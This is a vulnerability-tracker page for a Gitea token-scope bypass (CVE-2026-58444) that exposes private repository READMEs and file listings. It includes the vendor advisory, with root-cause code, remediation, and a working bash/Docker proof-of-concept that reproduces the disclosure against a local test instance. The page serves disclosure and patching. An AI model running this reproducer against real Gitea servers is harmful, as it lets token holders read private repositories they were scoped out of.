Skip to main content

Gitea CVE-2026-58444

| EUVDEUVD-2026-58171 MEDIUM
Incorrect Authorization (CWE-863)
2026-07-21 https://github.com/go-gitea/gitea GHSA-cp3q-vrj2-ghhh
4.3
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain valid low-scope Gitea PAT (any non-repository scope)
  2. Delivery
    Authenticate via HTTP Basic to GET /{owner}/{repo}
  3. Exploit
    Missing CheckRepoScopedToken guard bypassed
  4. Execution
    Server renders private repo home page
  5. Impact
    Extract README, file tree, and metadata from HTTP 200 response

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must possess a valid PAT or OAuth2 token issued on the target Gitea instance for an account that has read access to at least one private repository. The token must be either marked public-only or lack the repository scope - a token already carrying the repository scope would have legitimate access to the content. Exploitation is limited to the repository root view (GET /{owner}/{repo}); deeper routes such as /{owner}/{repo}/src/* do not carry AllowBasic and remain protected. Content disclosed is bounded to: rendered README, root file/directory listing, repository description, language statistics, license display, and latest-release information. Raw file content beyond the README, archive downloads, git clone operations, and RSS/Atom feeds are protected by separately applied scope guards (CVE-2026-20706 and CVE-2026-27761). Factors limiting exploitation: requires authenticated token possession for the target instance; no anonymous or unauthenticated path to exploit.

Impact

The vendor-assigned CVSS 3.1 score of 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) accurately reflects the attack surface: network-accessible, low complexity, requiring only a valid token of any scope (PR:L), with partial confidentiality impact bounded to the repository root view. The PR:L rating is the critical limiting factor - an attacker must already possess a legitimate Gitea token issued for an account with access to the target private repository, making opportunistic mass exploitation unlikely. No EPSS data was provided in the intelligence feed, so exploitation probability cannot be quantified. KEV status is not confirmed, indicating no CISA-confirmed active exploitation at time of analysis. However, a self-contained Docker proof-of-concept reproducer is embedded in the vendor advisory, making the barrier to exploitation trivially low for any insider, compromised integration, or token-holder who understands the bypass. The public-only token scenario is particularly high-risk for third-party integrations deliberately issued narrow-scope tokens for CI or read:issue workflows - those tokens were explicitly intended to be repository-blind. Real-world priority is moderate: exploitable but gated on token possession, and the fix is available in v1.27.0.

Exploit ScenarioDerived

An attacker holds a Gitea PAT scoped to read:user (no repository scope) for an account that has read access to a private repository. They send GET /admin/secretrepo with that token as HTTP Basic auth credentials; the server validates the user's repository permission (which passes) but, lacking CheckRepoScopedToken, renders the full HTML page and returns HTTP 200 with the private README, file listing, and sidebar. Publicly available exploit code exists in the vendor advisory as a self-contained Docker reproducer that prints a canary=1 verdict confirming disclosure.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 21, 2026

Token scope enforcement is bypassed on Gitea's repository home page handler (repo.Home), exposing private repository README, root file/directory tree, description, language statistics, license, and latest-release data to any authenticated PAT or OAuth2 token that lacks the repository scope or is marked public-only. This is the third in a series of related incomplete fixes - CVE-2026-20706 and CVE-2026-27761 patched sibling routes (archive download and RSS/Atom feeds) but the home route was overlooked, leaving it without the CheckRepoScopedToken guard applied to every neighboring handler. Publicly available exploit code exists in the form of a self-contained Docker-based proof-of-concept published in the vendor advisory; no active exploitation has been confirmed by CISA KEV.

RemediationAI

Upgrade to Gitea v1.27.0, which resolves this token scope bypass; the release is available at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. The upstream fix mirrors the pattern applied to sibling routes by adding context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read) at the entry of repo.Home in routers/web/repo/view_home.go, or equivalently as route middleware at routers/web/web.go:1256. No configuration toggle exists to disable AllowBasic on the home route without breaking go get resolution for private Go modules, so patching is the only complete remediation. As an interim compensating control, administrators should audit and revoke any public-only or narrowly-scoped tokens (e.g., read:issue, read:user) belonging to accounts with private repository access, reducing the token population that can exploit this route. Note that revoking tokens may break CI integrations relying on fine-grained scopes - coordinate with token owners before revocation.

Affected VersionsENISA

Gitea Open Source Git Server 0 <1.27.0

Affected Packages

go code.gitea.io/gitea fix: 1.27.0
go gitea.dev fix: 1.27.0
euvd gitea_open_source_git_server fix: 1.27.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gitea's web router allows token authentication on select routes via explicit opt-in middleware (webAuth.AllowBasic / webAuth.AllowOAuth2). The GET /{owner}/{repo} route carries AllowBasic specifically to allow go get to resolve private Go modules. When a PAT or OAuth2 token is supplied via HTTP Basic auth, services/auth/basic.go sets IsApiToken=true and records ApiTokenScope on the session store. All neighboring content routes - raw/media/archive download (routers/web/repo/download.go:23), RSS/Atom feeds (routers/web/feed/render.go:15), release attachments (routers/web/repo/attachment.go:190), and git smart HTTP (routers/web/repo/githttp.go:161) - call context.CheckRepoScopedToken() to enforce that the token carries the repository scope and is not public-only. The repo.Home handler at routers/web/repo/view_home.go:389 (CWE-863: Incorrect Authorization) performs only checkHomeCodeViewable, which validates the user's repository permission but imposes no constraint on the token's declared scope. The affected package is pkg:go/code.gitea.io_gitea in versions prior to 1.27.0.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY 4.3 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
vuln.today AI 4.3 MEDIUM

Requires a valid low-scope token (PR:L) for the target instance; confidentiality impact is partial, bounded to root repository view only.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

DescriptionCVE.org

Summary

A personal access token (PAT) or OAuth2 token that does not carry the repository scope or that is public-only is correctly rejected (HTTP 403) by the recently hardened web content routes (archive download, raw/media file download, and repository RSS/Atom feeds). However, the repository home page route GET /{owner}/{repo} (handler repo.Home) serves the private repository's rendered README, root file/directory tree, description, language statistics, license, and latest-release information to that same token.

This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in:

  • GHSA-cr4g-f395-h25h (CVE-2026-20706) token scope bypass on web archive download
  • GHSA-3pww-vcvm-3gmj (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds

repo.Home is the remaining token-auth-enabled content route that was not given the guard.

Details / Root cause

Web routes accept token authentication only when explicitly opted in with webAuth.AllowBasic / webAuth.AllowOAuth2. The repository home route carries AllowBasic (added so that go get can resolve private modules):

go
// routers/web/web.go:1256
m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic,
      context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),
      repo.SetEditorconfigIfExists, repo.Home)

When a PAT/OAuth2 token is supplied via HTTP Basic auth, services/auth/basic.go sets IsApiToken = true and records ApiTokenScope:

go
// services/auth/basic.go
store.GetData()["IsApiToken"] = true
store.GetData()["ApiTokenScope"] = token.Scope

The patched sibling handlers all call the web-side scope guard context.CheckRepoScopedToken(...), which enforces both the public-only restriction and the repository scope:

routers/web/repo/download.go:23     (raw / media / archive)  ← GHSA-cr4g
routers/web/feed/render.go:15       (all repo feeds)         ← GHSA-3pww
routers/web/repo/attachment.go:190  (attachments / release assets, centralized)
routers/web/repo/githttp.go:161     (git smart HTTP)         ← GHSA-cc8w

repo.Home (routers/web/repo/view_home.go:389) performs no such check. Its only gate is checkHomeCodeViewable, which verifies the user's permission and that the code unit is enabled neither of which constrains the token's scope. The README, file listing, and sidebar are then rendered. (The handleRepoHomeFeed sub-path is guarded via ShowRepoFeed, but the HTML repo view is not.)

Proof of Concept

Reproduced against gitea/gitea:main-nightly (build g2e1be0b114, identical to the source commit above). A private repository admin/secretrepo is created, and a token is minted with only the read:user scope (no repository scope).

=== anonymous baseline (repository is private) ===
  anon GET /admin/secretrepo                       HTTP=404
=== same no-repo-scope token across routes ===
  API repo get (proves token lacks repo scope)     HTTP=403 canary=0
  /admin/secretrepo/archive/main.zip  (control)    HTTP=403 canary=0
  /admin/secretrepo/raw/branch/main/README.md      HTTP=403 canary=0
  /admin/secretrepo.rss               (control)    HTTP=403 canary=0
  /admin/secretrepo  (repo.Home, VULN)             HTTP=200 canary=1

A second token with scope public-only,read:repository behaves identically: /archive → 403, but /admin/secretrepo → 200 and returns the private content.

canary=1 means the private README marker was returned in the HTML response; the private file name SECRET.md is also disclosed in the rendered file tree.

Full self-contained reproducer (Docker, prints a PASS/FAIL verdict):

bash
#!/usr/bin/env bash
set -euo pipefail
N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2'
docker rm -f $N >/dev/null 2>&1 || true
docker run -d --name $N \
  -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \
  -e GITEA__server__ROOT_URL=http://localhost:3000/ \
  -e GITEA__service__DISABLE_REGISTRATION=true \
  -p 3000:3000 gitea/gitea:main-nightly >/dev/null
for i in $(seq 1 40); do
  [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done
docker exec -u git $N gitea admin user create --admin --username admin \
  --password "$PW" --email admin@example.com --must-change-password=false >/dev/null
curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \
  -H 'Content-Type: application/json' \
  -d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null
SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
  | python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])")
curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
  -H 'Content-Type: application/json' \
  -d '{"content":"'"$(printf '
# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null
TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \
  --scopes read:user --token-name norepo --raw | tail -1)
echo "anon  : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)"
for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do
  o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p")
  echo "/$p -> ${o##*|}  canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)"
done
echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1"
docker rm -f $N >/dev/null

Impact

Any holder of a non-repository-scoped or public-only token belonging to a user who has access to private repositories can read those repositories' README, root file/directory listing, description, languages, license, and latest release content the token was explicitly scoped to be unable to read. This defeats the purpose of fine-grained and public-only tokens (for example a CI token granted only read:issue, or a public-only token issued to a third-party integration).

The disclosure is bounded to the repository root view because the deeper /{owner}/{repo}/src/* routes do not enable AllowBasic.

Suggested remediation

Mirror the sibling handlers: at the start of repo.Home (routers/web/repo/view_home.go), or as route middleware on routers/web/web.go:1256, add:

go
context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)
if ctx.Written() {
    return
}

It is also worth auditing the other AllowBasic/AllowOAuth2 web routes that render repository data for the same omission notably actions.GetWorkflowBadge (routers/web/web.go:1568), which currently exposes a private repository's workflow build status (pass/fail) to a token without the repository scope (lower impact, possibly intended since badges are designed to be embeddable, but worth confirming).

Threat Intelligence Overview

EPSS Score
0.2%
Top 94% exploitable
Prevalence
Medium
popular self-hosted Git platform, widely used but not universally deployed
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

22
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +22
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy